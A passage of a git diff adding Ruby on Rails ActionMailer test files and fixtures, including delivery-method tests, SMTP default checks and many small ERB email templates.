+    view_cache_dependency { "flute" }
+  end
+
+  def test_view_cache_dependencies_are_empty_by_default
+    assert NoDependenciesMailer.new.view_cache_dependencies.empty?
+  end
+
+  def test_view_cache_dependencies_are_listed_in_declaration_order
+    assert_equal %w(trombone flute), HasDependenciesMailer.new.view_cache_dependencies
+  end
+end
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
new file mode 100644
index 0000000000..025f7152bb
--- /dev/null
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -0,0 +1,248 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MyCustomDelivery
+end
+
+class MyOptionedDelivery
+  attr_reader :options
+  def initialize(options)
+    @options = options
+  end
+end
+
+class BogusDelivery
+  def initialize(*)
+  end
+
+  def deliver!(mail)
+    raise "failed"
+  end
+end
+
+class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
+  test "default smtp settings" do
+    settings = { address:              "localhost",
+                 port:                 25,
+                 domain:               "localhost.localdomain",
+                 user_name:            nil,
+                 password:             nil,
+                 authentication:       nil,
+                 enable_starttls_auto: true }
+    assert_equal settings, ActionMailer::Base.smtp_settings
+  end
+
+  test "default file delivery settings (with Rails.root)" do
+    settings = { location: "#{Rails.root}/tmp/mails" }
+    assert_equal settings, ActionMailer::Base.file_settings
+  end
+
+  test "default sendmail settings" do
+    settings = {
+      location:  "/usr/sbin/sendmail",
+      arguments: "-i"
+    }
+    assert_equal settings, ActionMailer::Base.sendmail_settings
+  end
+end
+
+class CustomDeliveryMethodsTest < ActiveSupport::TestCase
+  setup do
+    @old_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.add_delivery_method :custom, MyCustomDelivery
+  end
+
+  teardown do
+    ActionMailer::Base.delivery_method = @old_delivery_method
+    new = ActionMailer::Base.delivery_methods.dup
+    new.delete(:custom)
+    ActionMailer::Base.delivery_methods = new
+  end
+
+  test "allow to add custom delivery method" do
+    ActionMailer::Base.delivery_method = :custom
+    assert_equal :custom, ActionMailer::Base.delivery_method
+  end
+
+  test "allow to customize custom settings" do
+    ActionMailer::Base.custom_settings = { foo: :bar }
+    assert_equal Hash[foo: :bar], ActionMailer::Base.custom_settings
+  end
+
+  test "respond to custom settings" do
+    assert_respond_to ActionMailer::Base, :custom_settings
+    assert_respond_to ActionMailer::Base, :custom_settings=
+  end
+
+  test "does not respond to unknown settings" do
+    assert_raise NoMethodError do
+      ActionMailer::Base.another_settings
+    end
+  end
+end
+
+class MailDeliveryTest < ActiveSupport::TestCase
+  class DeliveryMailer < ActionMailer::Base
+    DEFAULT_HEADERS = {
+      to: "mikel@test.lindsaar.net",
+      from: "jose@test.plataformatec.com"
+    }
+
+    def welcome(hash = {})
+      mail(DEFAULT_HEADERS.merge(hash))
+    end
+  end
+
+  setup do
+    @old_delivery_method = DeliveryMailer.delivery_method
+  end
+
+  teardown do
+    DeliveryMailer.delivery_method = @old_delivery_method
+    DeliveryMailer.deliveries.clear
+  end
+
+  test "ActionMailer should be told when Mail gets delivered" do
+    DeliveryMailer.delivery_method = :test
+    assert_called(DeliveryMailer, :deliver_mail) do
+      DeliveryMailer.welcome.deliver_now
+    end
+  end
+
+  test "delivery method can be customized per instance" do
+    stub_any_instance(Mail::SMTP, instance: Mail::SMTP.new({})) do |instance|
+      assert_called(instance, :deliver!) do
+        email = DeliveryMailer.welcome.deliver_now
+        assert_instance_of Mail::SMTP, email.delivery_method
+        email = DeliveryMailer.welcome(delivery_method: :test).deliver_now
+        assert_instance_of Mail::TestMailer, email.delivery_method
+      end
+    end
+  end
+
+  test "delivery method can be customized in subclasses not changing the parent" do
+    DeliveryMailer.delivery_method = :test
+    assert_equal :smtp, ActionMailer::Base.delivery_method
+    email = DeliveryMailer.welcome.deliver_now
+    assert_instance_of Mail::TestMailer, email.delivery_method
+  end
+
+  test "delivery method options default to class level options" do
+    default_options = { a: "b" }
+    ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+    mail_instance = DeliveryMailer.welcome(delivery_method: :optioned)
+    assert_equal default_options, mail_instance.delivery_method.options
+  end
+
+  test "delivery method options can be overridden per mail instance" do
+    default_options = { a: "b" }
+    ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+    overridden_options = { a: "a" }
+    mail_instance = DeliveryMailer.welcome(delivery_method: :optioned, delivery_method_options: overridden_options)
+    assert_equal overridden_options, mail_instance.delivery_method.options
+  end
+
+  test "default delivery options can be overridden per mail instance" do
+    settings = {
+      address: "localhost",
+      port: 25,
+      domain: "localhost.localdomain",
+      user_name: nil,
+      password: nil,
+      authentication: nil,
+      enable_starttls_auto: true
+    }
+    assert_equal settings, ActionMailer::Base.smtp_settings
+    overridden_options = { user_name: "overridden", password: "somethingobtuse" }
+    mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
+    delivery_method_instance = mail_instance.delivery_method
+    assert_equal "overridden", delivery_method_instance.settings[:user_name]
+    assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
+    assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+
+    # make sure that overriding delivery method options per mail instance doesn't affect the Base setting
+    assert_equal settings, ActionMailer::Base.smtp_settings
+  end
+
+  test "non registered delivery methods raises errors" do
+    DeliveryMailer.delivery_method = :unknown
+    error = assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver_now
+    end
+    assert_equal "Invalid delivery method :unknown", error.message
+  end
+
+  test "undefined delivery methods raises errors" do
+    DeliveryMailer.delivery_method = nil
+    error = assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver_now
+    end
+    assert_equal "Delivery method cannot be nil", error.message
+  end
+
+  test "does not perform deliveries if requested" do
+    old_perform_deliveries = DeliveryMailer.perform_deliveries
+    begin
+      DeliveryMailer.perform_deliveries = false
+      stub_any_instance(Mail::Message) do |instance|
+        assert_not_called(instance, :deliver!) do
+          DeliveryMailer.welcome.deliver_now
+        end
+      end
+    ensure
+      DeliveryMailer.perform_deliveries = old_perform_deliveries
+    end
+  end
+
+  test "does not append the deliveries collection if told not to perform the delivery" do
+    old_perform_deliveries = DeliveryMailer.perform_deliveries
+    begin
+      DeliveryMailer.perform_deliveries = false
+      DeliveryMailer.welcome.deliver_now
+      assert_equal [], DeliveryMailer.deliveries
+    ensure
+      DeliveryMailer.perform_deliveries = old_perform_deliveries
+    end
+  end
+
+  test "raise errors on bogus deliveries" do
+    DeliveryMailer.delivery_method = BogusDelivery
+    assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver_now
+    end
+  end
+
+  test "does not increment the deliveries collection on error" do
+    DeliveryMailer.delivery_method = BogusDelivery
+    assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver_now
+    end
+    assert_equal [], DeliveryMailer.deliveries
+  end
+
+  test "does not raise errors on bogus deliveries if set" do
+    old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+    begin
+      DeliveryMailer.delivery_method = BogusDelivery
+      DeliveryMailer.raise_delivery_errors = false
+      assert_nothing_raised do
+        DeliveryMailer.welcome.deliver_now
+      end
+    ensure
+      DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
+    end
+  end
+
+  test "does not increment the deliveries collection on bogus deliveries" do
+    old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+    begin
+      DeliveryMailer.delivery_method = BogusDelivery
+      DeliveryMailer.raise_delivery_errors = false
+      DeliveryMailer.welcome.deliver_now
+      assert_equal [], DeliveryMailer.deliveries
+    ensure
+      DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
+    end
+  end
+end
diff --git a/actionmailer/test/fixtures/anonymous/welcome.erb b/actionmailer/test/fixtures/anonymous/welcome.erb
new file mode 100644
index 0000000000..8361da62c4
--- /dev/null
+++ b/actionmailer/test/fixtures/anonymous/welcome.erb
@@ -0,0 +1 @@
+Anonymous mailer body
diff --git a/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb b/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb
new file mode 100644
index 0000000000..ef451298e2
--- /dev/null
+++ b/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome from another path
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb b/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
new file mode 100644
index 0000000000..b3f0438d03
--- /dev/null
+++ b/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
@@ -0,0 +1 @@
+<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/asset_mailer/welcome.html.erb b/actionmailer/test/fixtures/asset_mailer/welcome.html.erb
new file mode 100644
index 0000000000..90d26130d9
--- /dev/null
+++ b/actionmailer/test/fixtures/asset_mailer/welcome.html.erb
@@ -0,0 +1 @@
+<%= image_tag "dummy.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/attachments/foo.jpg b/actionmailer/test/fixtures/attachments/foo.jpg
new file mode 100644
index 0000000000..b976fe5e00
--- /dev/null
+++ b/actionmailer/test/fixtures/attachments/foo.jpg
diff --git a/actionmailer/test/fixtures/attachments/test.jpg b/actionmailer/test/fixtures/attachments/test.jpg
new file mode 100644
index 0000000000..b976fe5e00
--- /dev/null
+++ b/actionmailer/test/fixtures/attachments/test.jpg
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb b/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
new file mode 100644
index 0000000000..54950788f7
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
@@ -0,0 +1 @@
+Inside
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb b/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb
new file mode 100644
index 0000000000..6d73f199c4
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb
@@ -0,0 +1 @@
+text/html multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb b/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb
new file mode 100644
index 0000000000..f4b91e4031
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb
@@ -0,0 +1 @@
+text/plain multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb b/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb
new file mode 100644
index 0000000000..deb9dbd03b
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb
@@ -0,0 +1 @@
+Attachment with content
\ No newline at end of file
diff --git a/test/dummy/app/assets/images/.keep b/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/app/assets/images/.keep
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb
diff --git a/test/dummy/app/controllers/concerns/.keep b/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/app/controllers/concerns/.keep
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb
diff --git a/actionmailer/test/fixtures/base_mailer/different_layout.html.erb b/actionmailer/test/fixtures/base_mailer/different_layout.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/different_layout.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/different_layout.text.erb b/actionmailer/test/fixtures/base_mailer/different_layout.text.erb
new file mode 100644
index 0000000000..b547f4a332
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/different_layout.text.erb
@@ -0,0 +1 @@
+PLAIN
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
new file mode 100644
index 0000000000..d676a6d2da
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -0,0 +1 @@
+<%= t('.greet_user', name: 'lifo') %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb
new file mode 100644
index 0000000000..c0a61b6249
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb
@@ -0,0 +1 @@
+HTML Explicit Multipart Templates
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb
new file mode 100644
index 0000000000..507230b1de
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb
@@ -0,0 +1 @@
+TEXT Explicit Multipart Templates
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb
new file mode 100644
index 0000000000..8a69657b08
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb
@@ -0,0 +1 @@
+<%= self.formats.inspect %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/html_only.html.erb b/actionmailer/test/fixtures/base_mailer/html_only.html.erb
new file mode 100644
index 0000000000..9c99a008e7
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/html_only.html.erb
@@ -0,0 +1 @@
+<h1>Testing</h1>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb
new file mode 100644
index 0000000000..23745cd282
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb
@@ -0,0 +1 @@
+HTML Implicit Multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb
new file mode 100644
index 0000000000..d51437fc72
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb
@@ -0,0 +1 @@
+TEXT Implicit Multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb
new file mode 100644
index 0000000000..e97505fad9
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb
@@ -0,0 +1 @@
+Implicit with locale DE-AT TEXT
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb
new file mode 100644
index 0000000000..0536b5d3e2
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb
@@ -0,0 +1 @@
+Implicit with locale DE HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb
new file mode 100644
index 0000000000..34e39c8fdb
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb
@@ -0,0 +1 @@
+Implicit with locale EN HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb
new file mode 100644
index 0000000000..5ce283f221
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb
@@ -0,0 +1 @@
+Implicit with locale HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb
new file mode 100644
index 0000000000..c49cbae60a
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb
@@ -0,0 +1 @@
+Implicit with locale PL TEXT
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb
new file mode 100644
index 0000000000..5a18ff62cd
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb
@@ -0,0 +1 @@
+Implicit with locale TEXT
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb b/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb
new file mode 100644
index 0000000000..e200878127
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb
@@ -0,0 +1,5 @@
+<h1>Inline Image</h1>
+
+<%= image_tag attachments['logo.png'].url %>
+
+<p>This is an image that is inline</p>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb b/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb
new file mode 100644
index 0000000000..e161d244d2
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb
@@ -0,0 +1,4 @@
+Inline Image
+
+No image for you
+
diff --git a/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb b/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb
new file mode 100644
index 0000000000..0a90125685
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb
@@ -0,0 +1 @@
+Testing
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/welcome.erb b/actionmailer/test/fixtures/base_mailer/welcome.erb
new file mode 100644
index 0000000000..01f3f00c63
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome
\ No newline at end of file
diff --git a/test/dummy/app/models/concerns/.keep b/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/app/models/concerns/.keep
+++ b/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb
diff --git a/actionmailer/test/fixtures/base_mailer/without_mail_call.erb b/actionmailer/test/fixtures/base_mailer/without_mail_call.erb
new file mode 100644
index 0000000000..290379d5fb
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/without_mail_call.erb
@@ -0,0 +1 @@
+<% raise 'the template should not be rendered' %>
\ No newline at end of file
diff --git a/test/dummy/lib/assets/.keep b/actionmailer/test/fixtures/base_test/after_action_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/lib/assets/.keep
+++ b/actionmailer/test/fixtures/base_test/after_action_mailer/welcome.html.erb
diff --git a/test/dummy/log/.keep b/actionmailer/test/fixtures/base_test/before_action_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/log/.keep
+++ b/actionmailer/test/fixtures/base_test/before_action_mailer/welcome.html.erb
diff --git a/test/dummy/public/apple-touch-icon-precomposed.png b/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/public/apple-touch-icon-precomposed.png
+++ b/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb
diff --git a/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
new file mode 100644
index 0000000000..6decd3bb31
--- /dev/null
+++ b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
@@ -0,0 +1,7 @@
+<h1>Adding an inline image while rendering</h1>
+
+<% controller.attachments.inline["controller_attachments.jpg"] = 'via controller.attachments.inline' %>
+<%= image_tag attachments['controller_attachments.jpg'].url %>
+
+<% attachments.inline["attachments.jpg"] = 'via attachments.inline' %>
+<%= image_tag attachments['attachments.jpg'].url %>
diff --git a/actionmailer/test/fixtures/caching_mailer/_partial.html.erb b/actionmailer/test/fixtures/caching_mailer/_partial.html.erb
new file mode 100644
index 0000000000..8e965f52b4
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/_partial.html.erb
@@ -0,0 +1,3 @@
+<% cache :caching do %>
+  Old fragment caching in a partial
+<% end %>
diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb
new file mode 100644
index 0000000000..90189627da
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb
@@ -0,0 +1,3 @@
+<% cache :caching do %>
+"Welcome"
+<% end %>
diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb
new file mode 100644
index 0000000000..2957d083e8
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb
@@ -0,0 +1 @@
+<%= render "partial" %>
diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb
new file mode 100644
index 0000000000..0541ac321b
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb
@@ -0,0 +1,3 @@
+<%= cache :no_digest, skip_digest: true, expires_in: 0 do %>
+    No Digest
+<% end %>
diff --git a/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb b/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb
new file mode 100644
index 0000000000..0d26baa2d7
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb
@@ -0,0 +1,3 @@
+<% cache :html_caching, skip_digest: true do %>
+    "Welcome html"
+<% end %>
diff --git a/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb b/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb
new file mode 100644
index 0000000000..ef97326e03
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb
@@ -0,0 +1,3 @@
+<% cache :text_caching, skip_digest: true do %>
+    "Welcome text"
+<% end %>
diff --git a/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb b/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb
new file mode 100644
index 0000000000..0d52429a81
--- /dev/null
+++ b/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb
@@ -0,0 +1,3 @@
+<%= cache :no_digest, skip_digest: true do %>
+  No Digest
+<% end %>
diff --git a/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb b/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
new file mode 100644
index 0000000000..0533a3b2fe
--- /dev/null
+++ b/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
@@ -0,0 +1 @@
+You logged out
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb b/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
new file mode 100644
index 0000000000..4789e888c6
--- /dev/null
+++ b/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb b/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb
new file mode 100644
index 0000000000..f5340283f1
--- /dev/null
+++ b/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb
@@ -0,0 +1,4 @@
+Hello there,
+
+Mr. <%= @recipient %>.  Be greeted, new member!
+
diff --git a/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb b/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
new file mode 100644
index 0000000000..932271450c
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
@@ -0,0 +1 @@
+Hello from layout <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb b/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
new file mode 100644
index 0000000000..111576b672
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
@@ -0,0 +1 @@
+text/plain layout - <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/different_layout.html.erb b/actionmailer/test/fixtures/layouts/different_layout.html.erb
new file mode 100644
index 0000000000..99eb026ae1
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/different_layout.html.erb
@@ -0,0 +1 @@
+HTML -- <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/different_layout.text.erb b/actionmailer/test/fixtures/layouts/different_layout.text.erb
new file mode 100644
index 0000000000..b93467b7ae
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/different_layout.text.erb
@@ -0,0 +1 @@
+PLAIN -- <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/spam.html.erb b/actionmailer/test/fixtures/layouts/spam.html.erb
new file mode 100644
index 0000000000..619d6b16b4
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/spam.html.erb
@@ -0,0 +1 @@
+Spammer layout <%= yield %>
\ No newline at end of file
diff --git a/test/dummy/public/apple-touch-icon.png b/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/public/apple-touch-icon.png
+++ b/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb
diff --git a/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb b/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb
new file mode 100644
index 0000000000..4789e888c6
--- /dev/null
+++ b/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file
diff --git a/test/dummy/public/favicon.ico b/actionmailer/test/fixtures/proc_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/test/dummy/public/favicon.ico
+++ b/actionmailer/test/fixtures/proc_mailer/welcome.html.erb
diff --git a/actionmailer/test/fixtures/raw_email b/actionmailer/test/fixtures/raw_email
new file mode 100644
index 0000000000..43f7a59cee
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email
@@ -0,0 +1,14 @@
+From jamis_buck@byu.edu Mon May  2 16:07:05 2005
+Mime-Version: 1.0 (Apple Message framework v622)
+Content-Transfer-Encoding: base64
+Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
+Content-Type: text/plain;
+  charset=EUC-KR;
+  format=flowed
+To: willard15georgina@jamis.backpackit.com
+From: Jamis Buck <jamis@37signals.com>
+Subject: =?EUC-KR?Q?NOTE:_=C7=D1=B1=B9=B8=BB=B7=CE_=C7=CF=B4=C2_=B0=CD?=
+Date: Mon, 2 May 2005 16:07:05 -0600
+
+tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
+wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/templates/signed_up.erb b/actionmailer/test/fixtures/templates/signed_up.erb
new file mode 100644
index 0000000000..7afe1f651c
--- /dev/null
+++ b/actionmailer/test/fixtures/templates/signed_up.erb
@@ -0,0 +1,3 @@
+Hello there,
+
+Mr. <%= @recipient %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_helper_mailer/welcome b/actionmailer/test/fixtures/test_helper_mailer/welcome
new file mode 100644
index 0000000000..61ce70d578
--- /dev/null
+++ b/actionmailer/test/fixtures/test_helper_mailer/welcome
@@ -0,0 +1 @@
+Welcome!
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
new file mode 100644
index 0000000000..0322c1191e
--- /dev/null
+++ b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
@@ -0,0 +1 @@
+<%= url_for(@options) %> <%= @url %>
diff --git a/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb b/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb
new file mode 100644
index 0000000000..6e7875cff5
--- /dev/null
+++ b/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb
@@ -0,0 +1,5 @@
+Hello there,
+
+Mr. <%= @recipient %>. Please see our greeting at <%= @welcome_url %> <%= welcome_url %>
+
+<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
new file mode 100644
index 0000000000..6e75cff347
--- /dev/null
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_view"
+require "action_controller"
+
+class I18nTestMailer < ActionMailer::Base
+  configure do |c|
+    c.assets_dir = ""
+  end
+
+  def mail_with_i18n_subject(recipient)
+    @recipient  = recipient
+    I18n.locale = :de
+    mail(to: recipient, subject: I18n.t(:email_subject),
+      from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
+  end
+end
+
+class TestController < ActionController::Base
+  def send_mail
+    email = I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver_now
+    render plain: "Mail sent - Subject: #{email.subject}"
+  end
+end
+
+class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
